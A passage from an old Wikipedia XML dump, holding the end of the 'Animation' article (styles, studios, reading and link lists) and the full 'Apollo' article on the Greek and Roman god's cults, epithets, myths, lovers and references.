
Because animation is very time-consuming and often very expensive to produce, the majority of animation for [[Television|TV]] and movies comes from professional animation studios. However, the field of [[independent animation]] has existed at least since the [[1950s]], with animation being produced by independent studios (and sometimes by a single person). Several independent animation producers have gone on to enter the professional animation industry.  [[Bill Plympton]] is one of the most well known independent animators today.

[[Limited animation]] is a way of increasing production and decreasing costs of animation by using &quot;short cuts&quot; in the animation process. This method was pioneered by [[United Productions of America|UPA]] and popularized (some say exploited) by [[Hanna-Barbera]], and adapted by other studios as cartoons moved from [[movie theater]]s to [[television]].

==Animation studios==
Animation Studios, like [[Movie studio|Movie Studios]] may be production facilities, or financial entities. In some cases, especially in [[Anime]] they have things in common with [[Studio|artists studios]] where a Master or group of talented individuals oversee the work of lesser artists and crafts persons in realising their vision.

==Styles and techniques of animation==
{|
| style=&quot;width:20%&quot; valign=&quot;top&quot;|
*[[Traditional animation]]
**[[Character animation]]
**[[Limited animation]]
**[[Rotoscope|Rotoscoping]]

| style=&quot;width:20%&quot; valign=&quot;top&quot;|
*[[Computer animation]]
**[[Multi-Sketch|Multi-Sketching]]
**[[skeletal animation]]
**[[Morph target animation]]
**[[Cel-shaded animation]]
**[[Onion skinning]]
**[[Analog computer animation]]
**[[Motion capture]]
**[[Tradigital animation]]

| style=&quot;width:20%&quot; valign=&quot;top&quot;|
*[[Stop-motion animation]]
**[[Cutout animation]]
**[[claymation]]
**[[Pixilation]]
**[[Pinscreen animation]]
**[[Puppetoon]]

| style=&quot;width:20%&quot; valign=&quot;top&quot;|
*[[Drawn on film animation]]
*[[Special effects animation]]
|}

==Branch pages==
* [[Computer animation]]
* [[Computer generated imagery]]
* [[Traditional animation]]
* [[Animated cartoon]]
* [[Motion capture]]
* [[Avar (animation variable)]]
* [[Wire frame model]]
* [[Animated series]]
* [[Japanese Animation|Anime]] (Japanese animation)
* [[List of animation studios]]
* [[Famous names in animation]]

==See also==
* [[List of film-related topics|List of motion picture topics]]
* [[List of movie genres]]

==Further Readings==
*[[Frank Thomas]] and [[Ollie Johnston]], [[The_Illusion_Of_Life|Disney animation: The Illusion Of Life]], Abbeville 1981
*Walters Faber, Helen Walters, Algrant (Ed.), ''Animation Unlimited: Innovative Short Films Since 1940'', HarperCollins Publishers 2004
*Trish Ledoux, Doug Ranney, Fred Patten (Ed.), ''Complete Anime Guide: Japanese Animation Film Directory and Resource Guide'', Tiger Mountain Press 1997
*The Animator's Survival Kit, Richard Williams
*Animation Script to Screen, Shamus Culhane
*The Animation Book, Kit Laybourne

==External links==
&lt;!-- These links need annotation to distinguish the true reference sites
from the ones merely using Wikipedia to drive business to their ad-supported site --&gt;
{{commons|Animation}}
* [http://mag.awn.com/index.php?ltype=search&amp;sval=jean%20ann%20wright Writing for Animation]
* [http://www.awn.com/mag/issue3.2/3.2pages/3.2student.html Animating Under the Camera]
* [http://academic.evergreen.edu/curricular/eat/handouts/Pictures/CutSandPaintRules.pdf Experimental Animation Techniques]
* [http://www.abc.net.au/arts/strange/workshop/style.htm Drawn Under-Camera Style Animation]
* [http://www.mattworld.2ya.com Matt World - Web-based animations from animator Matt Greenwood]
* [http://www.keyframeonline.com Keyframe - the Animation Resource]
* [http://www.nftsanimation.org The Animation Department of the National Film and Television School UK ]
* [http://www.animationnation.com Animation Nation - a forum for professional animators]
* [http://www.public.iastate.edu/~rllew/chronint.html Chronology of Animation]
* [http://www.fh-wuerzburg.de/petzke/zagreb.html Zagreb Film]
* [http://www.safcakovec.com/ SAF], [[Cakovec|&amp;#268;akovec]] school of animation
* [http://www.dmoz.org/Arts/Animation/ Animation Directory]
* [http://www.toonopedia.com Don Markenstein's Toonopedia]
* [http://www.bcdb.com/ Big Cartoon Database]
* [http://www.goldenagecartoons.com/ Golden Age of Cartoons]
* [http://www.saunalahti.fi/animato Hints and tips for the animation hobbyist]
* [http://www.acmeanimation.org ACME Animation]
* [http://www.awn.com Animation World Network]
* [http://www.animationarena.com/principles-of-animation.html 28 Principles of Animation]
* [http://www.animationmeat.com Animationmeat.com - Notes Model Sheets and Reference material by Professional Animators]
* [http://www.writer2001.com/animtech.htm Media &amp; Techniques in Animation]


[[Category:Animation|Animation]]
[[Category:Film]]

[[bs:Animacija]]
[[cs:Animovaný film]]
[[de:Animation]]
[[eo:animacio]]
[[es:Animación]]
[[et:Animatsioon]]
[[fa:پویانمایی]]
[[fi:Animaatio]]
[[fr:Animation]]
[[gl:Cine de animación]]
[[he:אנימציה]]
[[hu:Animáció]]
[[it:Cartone animato]]
[[ja:アニメーション]]
[[ko:애니메이션]]
[[lv:Multiplikācija]]
[[mk:Анимација]]
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[[pl:Film animowany]]
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  </page>
  <page>
    <title>Apollo</title>
    <id>594</id>
    <revision>
      <id>41703674</id>
      <timestamp>2006-03-01T04:13:14Z</timestamp>
      <contributor>
        <username>Tom Lougheed</username>
        <id>450264</id>
      </contributor>
      <minor />
      <comment>fixed typeo</comment>
      <text xml:space="preserve">{{otheruses}}
[[Image: Statue of Apollo.jpg|thumb|200px|right|Statue of Apollo at the [[British Museum]].]]

In [[Greek mythology|Greek]] and [[Roman mythology]], '''Apollo''' ([[Greek language|Greek]]: &amp;#913;&amp;#960;&amp;#972;&amp;#955;&amp;#955;&amp;#969;&amp;#957;, '''''Apóll&amp;#333;n'''''; or &amp;Alpha;&amp;pi;&amp;epsilon;&amp;lambda;&amp;lambda;&amp;omega;&amp;nu;, ''Apell&amp;#333;n'') was a god of light, healing and poetry. Apollo was the son of [[Zeus]] and [[Leto]], and the twin brother of [[Artemis]], goddess of the hunt. As the prophetic deity of the [[Delphic Sibyl|Delphic Oracle]], Apollo was one of the most important and many-sided of the [[Twelve Olympians|Olympian deities]]. In [[Etruscan mythology]], he was known as [[Aplu]].

In later times, Apollo became partly confused or equated with [[Helios]], [[solar deity|god of the sun]], and his sister similarly equated with [[Selene]], [[lunar deity|god of the moon]], particularly in religious contexts. However, Apollo and Helios remained separate beings in literary and mythological texts.

==Domains and symbols==
[[Image:Apollo II (Greek Mythology).jpg|thumb|left|200px|Apollo, the son of [[Zeus]] and the mortal [[Leto]].]]

Apollo was considered to have dominion over disease, beauty, light, healing, [[colony|colonists]], [[medicine]], [[archery]], [[poetry]], [[prophecy]], [[dance]], [[reason]], [[intellectualism]], and [[shaman]]s, and was the patron defender of herds and flocks.

Apollo's most common attributes were the lyre and the bow. Other attributes of his included the [[kithara]] (an advanced version of the common [[lyre]]) and [[plectrum]]. Another common emblem was the sacrificial tripod, representing his prophetic powers. The [[Pythian Games]] were held in Apollo's honor every four years at [[Delphi]]. The [[laurel tree|laurel]] bay plant was used in expiatory sacrifices and in making the crown of victory at these games. The palm-tree was also sacred to Apollo because he had been born under one in [[Delos]]. Animals sacred to Apollo included wolves, dolphins and roe, swans and grasshoppers (symbolizing music and song), hawks, ravens, crows and snakes (referencing Apollo's function as the god of prophecy), mice, and [[griffin]]s, mythical eagle-lion hybrids of Eastern origin.

As god of colonization, Apollo gave guidance on colonies, especially during the height of colonization, [[750 BC|750&amp;ndash;550 BC]].  According to Greek tradition, he helped [[Crete|Cretan]] or [[Arcadia]]n colonists find the city of Troy. However, this story may reflect a cultural influence which had the reverse direction: [[Hittites|Hittite]] [[Cuneiform script|cuneiform]] texts mention a Minor Asian god called ''Appaliunas'' or ''Apalunas'' in connection with the city of ''Wilusa'', which is now regarded as being identical with the Greek [[Troy|Illios]] by most scholars. In this interpretation, Apollo’s title of ''Lykegenes'' can simply be read as &quot;born in Lycia&quot;, which effectively severs the god's supposed link with wolves (possibly a [[folk etymology]]).

Apollo popularly (e.g., in [[literary criticism]]) represents harmony, order, and reasons&amp;mdash;characteristics contrasted with those of [[Dionysus]], god of wine, who popularly represents emotion and disorder. The contrast between the roles of these gods is reflected in the adjectives ''[[Apollonian]]'' and ''[[Dionysian]]''. However, the Greeks thought of the two qualities as complementary: the two gods are brothers, and when Apollo at winter left for Hyperborea, he would leave the Delphi Oracle to Dionysus.

==Worship==
Apollo had a famous [[oracle]] in [[Delphi]], and other notable ones in [[Clarus]] and [[Branchidae]]. Apollo is known as the leader of the [[Muse]]s ('''''musagetes''''') and director of their choir. Hymns sung to Apollo were called [[Paean]]s.

The Roman worship of Apollo was adopted from the Greeks. There is a tradition that the Delphic oracle was consulted as early as the period of the [[Roman Kingdom|kings]] during the reign of [[Tarquinius Superbus]]. In [[430]], a temple was dedicated to Apollo on the occasion of a pestilence. During the [[Second Punic War]] in [[212]], the Ludi Apollinares were instituted in his honor. In the time of [[Augustus]], who considered himself under the special protection of Apollo and was even said to be his son, His worship developed and he became one of the chief gods of Rome. After the [[battle of Actium]], Augustus enlarged his old temple, dedicated a portion of the spoils to him, and instituted quinquennial games in his honour. He also erected a new temple on the Palatine hill and transferred the secular games, for which Horace composed his ''Carmen Saeculare'', to Apollo and [[Diana]].

The chief festivals held in honour of Apollo were the [[Carneia]], [[Daphnephoria]], [[Delia]], [[Hyacinthia]], [[Pyanepsia]], [[Pythia]] and [[Thargelia]]. The [[Ludi Apollinares]] were solemn games held to honor him.

The worship of Apollo has returned with the rise of [[revivalism|revivalist]] [[Hellenic polytheism]], and the contemporary Pagan movement. One example of this revival is the group [http://winterscapes.com/kyklosapollon Kyklos Apollon]. Also, together with Athena, Apollo (under the name Phevos) was controversially designated as a mascot of the 2004 Summer Olympics in Athens.

==Etymology==
The name ''Apollo'' might have been derived from a Pre-Hellenic compound ''Apo-ollon'',{{fact}} likely related to an archaic verb ''Apo-ell-'' and literally meaning &quot;he who elbows off&quot;, that is &quot;the Dispelling One.&quot; Indeed, he seems to have personified dispelling power, which would relate to his association with the darkness-dispelling power of the morning sun and  the conceived power of reason and prophecy to dispel doubt and ignorance. 
In addition:

* The apparent expelling character of city walls and doorways as bulwarks against trespassers
* The people-dispelling nature of disembarkations and [[expatriation]]s to colonies
* The disease-dispelling character of healing
* The predator-dispelling character of a shepherd tending his flocks
* The pest-dispelling nature of a farmer growing crops
* The power of music and the arts to dispel discord and [[barbary]]
* The highly important power of fit and skilled young men to dispel intruders and invading armies
* The ability of foresight into the future

An explanation given by [[Plutarch]] in ''[[Moralia]]'' is that Apollon signified a [[unity]], since ''pollon'' meant &quot;many,&quot; and the [[prefix]] ''a-'' was a negative. Thus, Apollon could be read as meaning &quot;deprived of multitude.&quot; Apollo was consequently associated with the [[monad]].

[[Hesychius]] connects the name Apollo with the Doric &amp;alpha;&amp;pi;&amp;epsilon;&amp;lambda;&amp;lambda;&amp;alpha;, which means assembly, so that Apollo would be the god of political life, and he also gives the explanation &amp;sigma;&amp;eta;&amp;kappa;&amp;omicron;&amp;sigmaf; (&quot;fold&quot;), in which case Apollo would be the god of flocks and herds.

[[Image:Apollonmosaic.jpg|thumb|366px|right|Apollo with a radiant [[halo]] in a Roman floor mosaic, [[El Djem]], Tunisia, lare 2nd century]]

== Apollo in art ==
In art, Apollo is usually depicted as a handsome beardless young man and often with a lyre or bow in hand. In the late 2nd century floor mosaic from [[El Djem]], Roman Thysdrus, (''illustration, right''), he is identifiable as [[Helios|Apollo Helios]] by his effulgent halo, though now even a god's divine nakedness is concealed by his cloak, a mark of increasing conventions of modesty in the later Empire. Anther haloed Apollo in mosaic, from Hadrumentum, is in the museum at Sousse [http://www.tunisiaonline.com/mosaics/mosaic05b.html].The conventions of this representation, head tilted, lips slightly parted, large-eyed, curling hair cut in locks grazing the neck, were developed in the 3rd century BCE to depict [[Alexander the Great]] (Bieber 1964, Yalouris 1980).  Some time after this mosaic was executed, the earliest depictions of Christ will be beardless and haloed.

== Appellations ==
[[Epithet]]s applied to Apollo include:
*'''Phoebus''' (&quot;shining one&quot;), for Apollo in the context of the god of light
*'''Smintheus''' (&quot;mouse-catcher&quot;) and '''Parnopius''' (&quot;grasshopper&quot;), as god of the plague and defender against rats and locusts.
*'''Delphinios''' (&quot;delphinian&quot;), meaning &quot;of the womb&quot;, associating Apollo with ''Delphoi'' ([[Delphi]]). An [[aitiology]] in the [[Homeric hymns]] connects the epitheton to [[dolphin]]s.
*'''Archegetes''', (&quot;director of the foundation&quot;) for colonies.
*'''Musagetes''' (&quot;leader of the [[muses]]&quot;).
*'''Pythios''' (&quot;Pythian&quot;) at [[Delphi]]
*'''Apotropaeus''' (&quot;he who averts evil&quot;)
*'''Nymphegetes''' (&quot;[[nymph]]-leader&quot;)
*'''Lyceios''' and '''Lykegenes''' (&quot;wolfish&quot; or &quot;of [[Lycia]],&quot; where some postulate his cult originated)
*'''Nomios''' (&quot;wandering&quot;), as the pastoral shepherd-god
*'''Klarios''' from Doric ''klaros'' &quot;allotment of land&quot;, for his supervision over cities and colonies.   
*'''Kynthios''' is another epithet, stemming from his birth on Mt. [[Cynthus]]
*'''Loxias''' (&quot;the obscure&quot;), as Apollo a god of prophecy specifically.
*'''Argurotoxos''', (&quot;with the silver bow&quot;) for archery.
*'''Aphetoros''', (&quot;god of the bow&quot;) for archery.
*'''Alexikakos''', (&quot;restrainer of evil&quot;), as Apollo the healer.
*'''Akesios''' or '''Iatros''', &quot;healer&quot;

== Birth ==

When [[Hera]] discovered that Leto was pregnant and that Hera's husband, Zeus, was the father, she banned Leto from giving birth on &quot;terra-firma&quot;, or the mainland, or any island at sea.  In her wanderings, Leto found the newly created floating island of [[Delos]], which was neither mainland nor a real island, and gave birth there.  The island was surrounded by swans.  Afterwards, Zeus secured Delos to the bottom of the ocean. This island later became sacred to Apollo.  Alternatively, Hera kidnapped [[Ilithyia]], the goddess of childbirth, to prevent Leto from going into labor.  The other gods tricked Hera into letting her go by offering her a necklace, nine yards long, of amber.  Either way, Artemis was born first and then assisted with the birth of Apollo.  Another version states that Artemis was born one day before Apollo, on the island of [[Ortygia]] and that she helped Leto cross the sea to Delos the next day to give birth to Apollo. Apollo was born on the 7th day (&amp;eta;&amp;#788;&amp;beta;&amp;delta;&amp;omicron;&amp;mu;&amp;alpha;&amp;gamma;&amp;epsilon;&amp;nu;&amp;eta;&amp;sigmaf;) of the month Thargelion according to Delian tradition or of the month Bysios according to Delphian tradition. The 7th and 20th, the days of the new and full moon, were ever afterwards held sacred to him.

== Youth ==
In his youth, Apollo killed the vicious dragon [[Python (mythology)|Python]], which lived in [[Delphi]] beside the [[Castalian Spring]], according to some because Python had attempted to rape Leto while she was pregnant with Apollo and Artemis.This was the spring which emitted vapors that caused the [[Oracle]] at Delphi to give her prophesies.  Apollo killed Python but had to be punished for it, since Python was a child of [[Gaia (mythology)|Gaia]].

== Apollo and Admetus ==
When Zeus struck down Apollo's son, [[Asclepius]], with a lightning bolt for resurrecting the dead (and thus stealing [[Hades]]'s subjects), Apollo in revenge killed the [[Cyclops]], who had fashioned the bolt for Zeus. Apollo would have been banished to [[Tartarus]] forever, but was instead sentenced to one year of hard labour as punishment, thanks to the intercession of his mother, [[Leto]]. During this time he served as shepherd for [[Admetus|King Admetus]] of [[Pherae]] in [[Thessaly]]. Admetus treated Apollo well, and, in return, the god conferred great benefits on Admetus.

Apollo helped Admetus win [[Alcestis]], the daughtor of [[Pelias|King Pelias]] and later convinced the [[Moirae|Fates]] to let Admetus live past his time if another took his place. But when it came time for Admetus to die, his elderly parents, whom he had assumed would gladly die for him, refused to cooperate. Instead, Alcestis took his place, but [[Heracles]] managed to &quot;persuade&quot; [[Thanatos]], the god of death, to return her to the world of the living.

== Apollo during the [[Trojan War]] ==

Apollo shot arrows infected with the plague into the Greek encampment during the [[Trojan War]] in rage because the Greeks had kidnapped Chryseis, the daughter of Apollo's priest. He demanded her return, and the Greeks eventually complied.

When [[Diomedes]] injured [[Aeneas]] during the [[Trojan War]], Apollo rescued him.  First, [[Aphrodite]] tried to rescue Aeneas but Diomedes injured her as well.  Aeneas was then enveloped in a cloud by [[Apollo (god)|Apollo]], who took him to [[Pergamos (troy)|Pergamos]], a sacred spot in [[Troy]]. [[Artemis]] healed Aeneas there.

Apollo had aided Paris in the killing of [[Achilles]], if Paris did not accomplish the task himself.

== Niobe ==

A Queen of [[Thebes (Greece)|Thebes]] and wife of [[Amphion]], [[Niobe]] boasted of her superiority to Leto because she had fourteen children ([[Niobids]]), seven male and seven female, while Leto had only two.  Apollo killed her sons as they practiced athletics, with the last begging for his life, and Artemis her daughters.  Apollo and Artemis used poisoned arrows to kill them, though according to some versions of the myth, a number of the Niobids were spared ([[Chloris]], usually).  Amphion, at the sight of his dead sons, either killed himself or was killed by Apollo after swearing revenge.  A devastated Niobe fled to [[Mt. Siplyon]] in [[Asia Minor]] and turned into stone as she wept.  Her tears formed the river [[Achelous]].  Zeus had turned all the people of Thebes to stone and so no one buried the Niobids until the ninth day after their death, when the gods themselves entombed them.

== Apollo's romantic life and children ==

===Female lovers===
Apollo chased the nymph [[Daphne]], daughter of [[Peneus]], who had scorned him. His infatuation was caused by an arrow from [[Eros (god)|Eros]], who was jealous because Apollo had made fun of his archery skills.  Eros also claimed to be irritated by Apollo's singing. Simultaneously, however, Eros had shot a hate arrow into Daphne, causing her to be repulsed by Apollo. Following a spirited chase by Apollo, Daphne prayed to Mother earth (alternatively, her father- a river god) to help her and he changed her into a Laurel tree, which became sacred to Apollo.

Apollo had an affair with a mortal princess named [[Leucothea]], daughter of [[Orchamus]] and sister of [[Clytia]]. Leucothea loved Apollo who disguised himself as Leucothea's mother to gain entrance to her chambers. Clytia, jealous of her sister because she wanted Apollo for herself, told Orchamus the truth, betraying her sister's trust and confidence in her. Enraged, Orchamus ordered Leucothea to be buried alive. Apollo refused to forgive Clytia for betraying his beloved, and a grieving Clytia wilted and slowly died. Apollo changed her into an incense plant, either heliotrope or sunflower, which follows the sun every day.

[[Marpessa]] was kidnapped by [[Idas]] but was loved by Apollo as well.  [[Zeus]] made her choose between them, and she chose Idas on the grounds that Apollo, being immortal, would tire of her when she grew old.

[[Castalia]] was a [[nymph]] whom Apollo loved.  She fled from him and dived into the spring at Delphi, at the base of [[Mt. Parnassos]], which was then named after her. Water from this spring was sacred; it was used to clean the Delphian temples and inspire poets.

By [[Cyrene (mythology)|Cyrene]], Apollo had a son named [[Aristaeus]], who became the patron god of cattle, [[fruit trees]], hunting, husbandry and [[bee-keeping]]. He was also a [[culture-hero]] and taught humanity dairy skills and the use of nets and traps in hunting, as well as how to cultivate olives.

With [[Hecuba]], wife of King [[Priam]] of [[Troy]], Apollo had a son named [[Troilius]].  An [[oracle]] prophesied that Troy would not be defeated as long as Troilius reached the age of twenty alive.  He and his sister, [[Polyxena]] were ambushed and killed by [[Achilles]].

Apollo also fell in love with [[Cassandra]], daughter of Hecuba and Priam, and Troilius' half-sister.  He promised Cassandra the gift of prophecy to seduce her, but she rejected him afterwards.  Enraged, Apollo indeed gifted her with the ability to know the future, with a curse that no one would ever believe her.

[[Coronis]], daughter of [[Phlegyas]], King of the [[Lapiths]], was another of Apollo's liaisons.  Pregnant with [[Asclepius]], Coronis fell in love with [[Ischys]], son of [[Elatus]].  A crow informed Apollo of the affair. When first informed he disbelieved the crow and turned all crows black (where they were previously white) as a punishment for speading untruths. When he found out the truth he sent his sister, Artemis, to kill Coronis. As a result he also made the crow sacred and gave them the task of announcing important deaths. Apollo rescued the baby and gave it to the [[centaur]] [[Chiron]] to raise. Phlegyas was irate after the death of his daughter and burned the Temple of Apollo at Delphi. Apollo then killed him for what he did.

===Male lovers===	
[[Image:Hyacinthus.jpg|thumb|250px|'''Apollo and Hyacinthus'''&lt;br&gt;Jacopo Caraglio; 16th c. Italian engraving]]

Apollo, the eternal beardless [[kouros]] himself, had the most male lovers of all the [[Greek gods]]. That was to be expected from a god who was god of the [[palaestra]], the athletic gathering place for youth who all competed [[Nudity in sport|in the nude]], a god said to represent the ideal educator and therefore the ideal [[erastes]], or lover of a boy (Sergent, p.102). All his lovers were younger than him, in the style of the [[Pederasty in ancient Greece|Greek pederastic relationships]] of the time. Many of Apollo's young beloveds died &quot;accidentally&quot;, a reflection on the function of these myths as part of [[rite of passage|rites of passage]], in which the youth died in order to be reborn as an adult.	 

[[Hyacinth (mythology)|Hyacinth]] was one of his male lovers. Hyacinthus was a [[Sparta|Spartan]] prince, beautiful and athletic. The pair were practicing throwing the [[discus]] when Hyacinthus was struck in the head by a discus blown off course by [[Zephyrus]], who was jealous of Apollo and loved Hyacinthus as well. When Hyacinthus died, Apollo is said in some accounts to have been so filled with grief that he cursed his own immortality, wishing to join his lover in mortal death. Out of the blood of his slain lover Apollo created the [[hyacinth (flower)|hyacinth flower]] as a memorial to his death, and his tears stained the flower petals with ''άί'' ''άί'', meaning alas. The Festival of Hyacinthus was a celebration of Sparta.

One of his other liaisons was with [[Acantha]], the spirit of the [[Acanthus (genus)|acanthus]] tree. Upon his death, he was transformed into a sun-loving herb by Apollo, and his bereaved sister, Acanthis, was turned into a thistle finch by the other gods.

Another male lover was [[Cyparissus]], a descendant of [[Heracles]]. Apollo gave the boy a tame deer as a companion but Cyparissus accidentally killed it with a [[javelin]] as it lay asleep in the undergrowth. Cyparissus asked Apollo to let his tears fall forever. Apollo turned the sad boy into a [[Cupressaceae|cypress]] tree, which was said to be a sad tree because the sap forms droplets like tears on the trunk.

== Apollo and the Birth of [[Hermes]] ==

Hermes was born on [[Mount Kyllini|Mount Cyllene]] in Arcadia. The story is told in the [[Homeric Hymn]] to [[Hermes]]. His mother, [[Maia]], had been secretly impregnated by [[Zeus]], in a secret affair. Maia wrapped the infant in blankets but Hermes escaped while she was asleep. Hermes ran to [[Thessaly]], where Apollo was grazing his cattle. The infant Hermes stole a number of his cows and took them to a cave in the woods near [[Pylos]], covering their tracks. In the cave, he found a [[tortoise]] and killed it, then removed the insides. He used one of the cow's intestines and the tortoise shell and made the first [[lyre]]. Apollo complained to Maia that her son had stolen his cattle, but Hermes had already replaced himself in the blankets she had wrapped him in, so Maia refused to believe Apollo's claim. Zeus intervened and, claiming to have seen the events, sided with Apollo. Hermes then began to play music on the lyre he had invented. Apollo, a god of music, fell in love with the instrument and offered to allow exchange the cattle for the lyre. Hence, Apollo became a master of the lyre and Hermes invented a kind of pipes-instrument called a [[syrinx]].

Later, Apollo exchanged a [[caduceus]] for a [[syrinx]] from Hermes.

== Other stories ==

=== Musical contests ===

==== [[Pan (mythology)|Pan]] ====

Once Pan had the audacity to compare his music with that of Apollo, and to challenge Apollo, the god of the [[lyre]], to a trial of skill.  [[Tmolus]], the mountain-god, was chosen to umpire.  Pan blew on his pipes, and with his rustic melody gave great satisfaction to himself and his faithful follower, [[Midas]], who happened to be present.  Then Apollo struck the strings of his lyre.  Tmolus at once awarded the victory to Apollo, and all but Midas agreed with the judgment.  He dissented, and questioned the justice of the award.  Apollo would not suffer such a depraved pair of ears any longer, and caused them to become the ears of a [[donkey]].

==== [[Marsyas]] ====
[[Image:The Flaying of Marsyas.jpg|thumb|230px|''The Flaying of Marsyas'' by [[Titian]], c.1570-76.]]
Marsyas was a [[satyr]] who challenged Apollo to a contest of music. He had found an [[aulos]] on the ground, tossed away after being invented by [[Athena]] because it made her cheeks puffy. Marsyas lost and was [[flaying|flayed]] alive in a cave near [[Calaenae]] in [[Phrygia]] for his [[hubris]] to challenge a god. His blood turned into the river Marsyas.

Another variation is that Apollo played his instrument (the lyre) upside down. Marsyas could not do this with his instrument (the flute), and so Apollo hung him from a tree and flayed him alive. [taken from ''MAN MYTH &amp; MAGIC'' by Richard Cavendish]

=== Miscellaneous ===

When Zeus killed [[Asclepius]] for raising the dead and violating the natural order of things, Apollo killed the [[Cyclopes]] in response.  They had fashioned Zeus' thunderbolts, which he used to kill Apollo's son, Asclepius. As punishment, he was condemned by Zeus to year's servitude to King Admetus.

Apollo gave the order, through the Oracle at Delphi, for [[Orestes (mythology)|Orestes]] to kill his mother, [[Clytemnestra]], and her lover, [[Aegisthus]].  Orestes was punished fiercely by the [[Erinyes]] for this crime.

In the [[Odyssey]], [[Odysseus]] and his surviving crew landed on an island sacred to Helios the sun god, where he kept sacred cattle. Though Odysseus warned his men not to (as [[Tiresias]] and [[kirke]] had told him), they killed and ate some of the cattle and Helios had [[Zeus]] destroy the ship and all the men save [[Odysseus]].

Apollo also had a [[lyre]]-playing contest with [[Cinyras]], his son, who committed suicide when he lost.

Apollo killed the [[Aloadae]] when they attempted to storm [[Mt. Olympus]].

It was also said that Apollo rode on the back of a swan to the land of the [[Hyperboreans]] during the winter months, a swan that he also lent to his beloved Hyacinthus to ride.

Apollo turned [[Cephissus]] into a [[sea monster]].

'''Consorts/Children'''

# Male Beloveds
## [[Acantha]]
## [[Cyparissus]]
## [[Hyacinth (mythology)|Hyacinth]]
## [[Hymenaeus]]
# Female Lovers
## [[Arsinoe (mythology)|Arsinoe]]
### [[Asclepius]]
## [[Cassandra]]
## [[Calliope]]
### [[Linus]]
### [[Orpheus]]
## [[Chione]]
### [[Philammon]]
## [[Coronis]]
### [[Asclepius]]
## [[Cyrene (mythology)|Cyrene]]
### [[Aristaeus]]
## [[Daphne]]
## [[Dryope]]
### [[Amphissus]]
## [[Hecuba]]
### [[Troilius]]
### [[Polyxena]]
## [[Leucothea]]
## [[Manto (Greek mythology)|Manto]]
### [[Mopsus]]
## [[Psamathe]]
### [[Linus]]
## [[Rhoeo]]
### [[Anius]]
## [[Terpsichore]]
### [[Linus]]
## Unknown Mother
### [[Cinyras]]
### [[Cycnus]]
### [[Phemonoe]]
## [[Urania]]
### [[Linus]]

== Spoken-word myths - audio files ==
{| border=&quot;1&quot; cellpadding=&quot;5&quot; cellspacing=&quot;0&quot; 
|-
! style=&quot;background:#ffdead;&quot; | Apollo Myths as told by story tellers
|-
|[[Media:Apollo and Hyacinth - wiki.ogg|1. ''Apollo and Hyacinthus,'' read by Timothy Carter]]
|-
|'''Bibliography of reconstruction:''' [[Homer]], ''Illiad'' ii.595 - 600 (c. 700 BC); Various 5th century BC vase paintings; [[Palaephatus]], ''On Unbelievable Tales'' 46. Hyacinthus (330 BC); [[Apollodorus]], ''Library'' 1.3.3 (140 BC); [[Ovid]], ''Metamorphoses'' 10. 162-219 (AD 1 - 8); [[Pausanias (geographer)|Pausanias]], ''Description of Greece'' 3.1.3, 3.19.4 (AD 160 - 176); 	[[Philostratus the Elder]], ''Images'' i.24 Hyacinthus (AD 170 - 245); [[Philostratus the Younger]], ''Images'' 14. Hyacinthus (AD 170 - 245); [[Lucian]], ''Dialogues of the Gods'' 14 (AD 170); [[First Vatican Mythographer]], 197. Thamyris et Musae
|-
|}

==Apollo in popular culture==
In the ''[[Star Trek]]'' episode &quot;[[Who Mourns for Adonis?]]&quot; a man claiming to be Apollo is seen on a [[Greek]]-themed planet that [[Captain Kirk]], [[Pavel Chekov]], [[Mr. Spock]], and [[Dr. McCoy]] arrive on.

In the ''[[Battlestar_Galactica|Battlestar Galactica]]'' series, one of the main characters is given the call-sign of Apollo.

The song &quot;[[Cygnus X-1 Book II: Hemispheres]]&quot; by [[Rush (band)|Rush]] is about the struggle between the champions of the two Hemispheres, Apollo, the God of Reason, and [[Dionysus]], the God of Love. The song appears of the [[1978]] album ''[[Hemispheres (1978 album)|Hemispheres]]''.

In the sixties, [[NASA]] named its [[Apollo program|Apollo Lunar program]] because Apollo was considered the god of all wisdom. Many people mistakenly believe that the rockets that carried astronauts to the Moon were called Apollo rockets; they were [[Saturn V]] rockets.

== References ==
* [[F. L. W. Schwartz]], ''De antiquissima Apollinis Natura'' (Berlin, 1843)
* [[J. A. Schönborn]], ''Über das Wesen Apollons'' (Berlin, 1854)
* [[Arthur Milchhoefer]], ''Über den attischen Apollon'' (Munich, 1873)
* [[Theodor Schreiber]], ''Apollon Pythoktonos'' (Leipzig, 1879)
* [[W. H. Roscher]], ''Studien zur vergleichenden Mythologie der Griechen und Romer'', i. (Leipzig, 1873)
* [[R. Hecker]], ''De Apollinis apud Romanos Cultu'' (Leipzig, 1879)
* [[Gaston Colin]], ''Le Culte d'Apollon pythien à Athènes'' (1905)
* [[Louis Dyer]], ''Studies of the Gods in Greece'' (1891)
* articles in [[Pauly-Wissowa]]'s ''Realencyclopädie'', W. H. Roscher's ''Lexikon der Mythologie'', and [[Daremberg]] and [[Saglio]]'s ''Dictionnaire des antiquités''
* [[L. Preller]], ''Griechische und romische Mythologie'' (4th ed. by [[C. Robert]])
* [[J. Marquardt]], ''Römische Staalsverwaltung'', iii.
* [[G. Wissowa]], ''Religion und Kultus der Romer'' (1902)
* [[D. Bassi]], ''Saggio di Bibliografia mitologica'', i. ''Apollo'' (1896)
* [[L. Farnell]], ''Cults of the Greek States'', iv. (1907)
* [[O. Gruppe]], ''Griechische Mythologie und Religionsgeschichte'', ii. (1906)
* {{1911}}
* M. Bieber, 1964. ''Alexander the Great in Greek and Roman Art'' (Chicago)
* N. Yalouris, 1980. ''The Search for Alexander'' (Boston) Exhibition.  

2. For the iconography of the Alexander-Helios type, see H. Hoffmann, &quot;Helios,&quot; Journal of the Arnerican Research Center in Egypt 2 (1963) 117-23; cf. Yalouris, no. 42.

==External links==
{{commons|Apollo}}
* [http://homepage.mac.com/cparada/GML/ Greek Mythology resource]
* [http://www.gregoryferdinandsen.com/FCO2003/apollo.htm The Temple of Apollo, Rome]
* [http://www.androphile.org/preview/Library/Mythology/Greek/ The stories of Apollo and Hyacinthus; and Apollo and Cyparissus; and Apollo and Orpheus]
* [http://janusquirinus.org/essays/Apollo/MultifacetedGod.html Apollo and the Romans]

{{Greek myth (Olympian)2}}
{{Roman myth (major)}}

[[Category:Greek gods]]
[[Category:Roman gods]]
[[Category:Solar gods]]
[[Category:Pederastic heroes and deities]]

[[ar:أبولو (إله إغريقي)]]
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[[el:Απόλλων]]
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[[fr:Apollon]]
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[[ko:아폴론]]
[[hr:Apolon]]
[[it:Apollo (mitologia)]]
[[he:אפולו]]
[[kw:Appolyn]]
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[[ru:Аполлон (мифология)]]
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[[tr:Apollon]]
[[uk:Аполлон]]
[[zh:阿波罗]]</text>
    </revision>
  </page>
  <page>
